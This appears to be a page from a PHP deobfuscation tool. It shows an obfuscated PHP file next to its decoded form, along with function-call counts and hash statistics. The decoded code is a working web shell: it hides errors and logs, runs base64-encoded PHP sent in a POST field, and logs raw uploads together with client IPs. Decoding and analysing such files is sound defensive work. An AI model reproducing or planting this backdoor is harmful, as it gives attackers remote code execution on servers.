Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php @error_reporting(0); @ini_set("d\x69spla\x79\x5fe\x72ro\x72\x73",0); @ini_set("l\x6f..
Decoded Output download
<?php @error_reporting(0); @ini_set("display_errors",0); @ini_set("log_errors",0); @ini_set("error_log",0); @ini_set("memory_limit", "128M"); @ini_set("max_execution_time",30); @set_time_limit(30); if (isset($_SERVER["HTTP_X_REAL_IP"])) $_SERVER["REMOTE_ADDR"] = $_SERVER["HTTP_X_REAL_IP"]; if (isset($_POST["code"])) { eval(base64_decode($_POST["code"])); } elseif (isset($_SERVER["HTTP_CONTENT_ENCODING"]) && $_SERVER["HTTP_CONTENT_ENCODING"] == "binary") { $input = file_get_contents("php://input"); if (strlen($input) > 0) print "STATUS-IMPORT-OK"; if (strlen($input) > 10) { $fp = @fopen(str_replace(".php",".bin",basename($_SERVER["SCRIPT_FILENAME"])), "a"); @flock($fp, LOCK_EX); @fputs($fp, $_SERVER["REMOTE_ADDR"]." ".base64_encode($input)."
"); @flock($fp, LOCK_UN); @fclose($fp); } } elseif (strpos($_SERVER["REQUEST_URI"], ".shtml") !== false) { print $_SERVER["REQUEST_URI"]; } exit; ?>Did this file decode correctly?
Original Code
<?php @error_reporting(0); @ini_set("d\x69spla\x79\x5fe\x72ro\x72\x73",0); @ini_set("l\x6fg_e\x72rors",0); @ini_set("e\x72\x72o\x72_\x6cog",0); @ini_set("\x6demory_limi\x74", "1\x328\x4d"); @ini_set("m\x61\x78_ex\x65cu\x74\x69on\x5f\x74\x69\x6d\x65",30); @set_time_limit(30); if (isset($_SERVER["\x48TT\x50\x5fX\x5fR\x45AL_\x49P"])) $_SERVER["R\x45\x4d\x4fTE_A\x44D\x52"] = $_SERVER["\x48TT\x50\x5fX\x5fR\x45AL_\x49P"]; if (isset($_POST["\x63ode"])) { eval(base64_decode($_POST["\x63ode"])); } elseif (isset($_SERVER["H\x54TP_C\x4fNTENT_\x45NC\x4fDI\x4e\x47"]) && $_SERVER["H\x54TP_C\x4fNTENT_\x45NC\x4fDI\x4e\x47"] == "\x62i\x6ea\x72y") { $input = file_get_contents("php\x3a//in\x70ut"); if (strlen($input) > 0) print "\x53T\x41\x54US-I\x4dPORT-\x4f\x4b"; if (strlen($input) > 10) { $fp = @fopen(str_replace(".\x70h\x70",".bi\x6e",basename($_SERVER["SCRI\x50\x54\x5f\x46\x49L\x45\x4eA\x4dE"])), "\x61"); @flock($fp, LOCK_EX); @fputs($fp, $_SERVER["R\x45\x4d\x4fTE_A\x44D\x52"]."\t".base64_encode($input)."\r\n"); @flock($fp, LOCK_UN); @fclose($fp); } } elseif (strpos($_SERVER["\x52EQ\x55EST\x5fURI"], "\x2es\x68tml") !== false) { print $_SERVER["\x52EQ\x55EST\x5fURI"]; } exit; ?>Function Calls
| ini_set | 5 |
| base64_decode | 1 |
| set_time_limit | 1 |
| error_reporting | 1 |
Stats
| MD5 | ad5414a6ac13dd8ebef4d3ffe9b5f32d |
| Eval Count | 0 |
| Decode Time | 104 ms |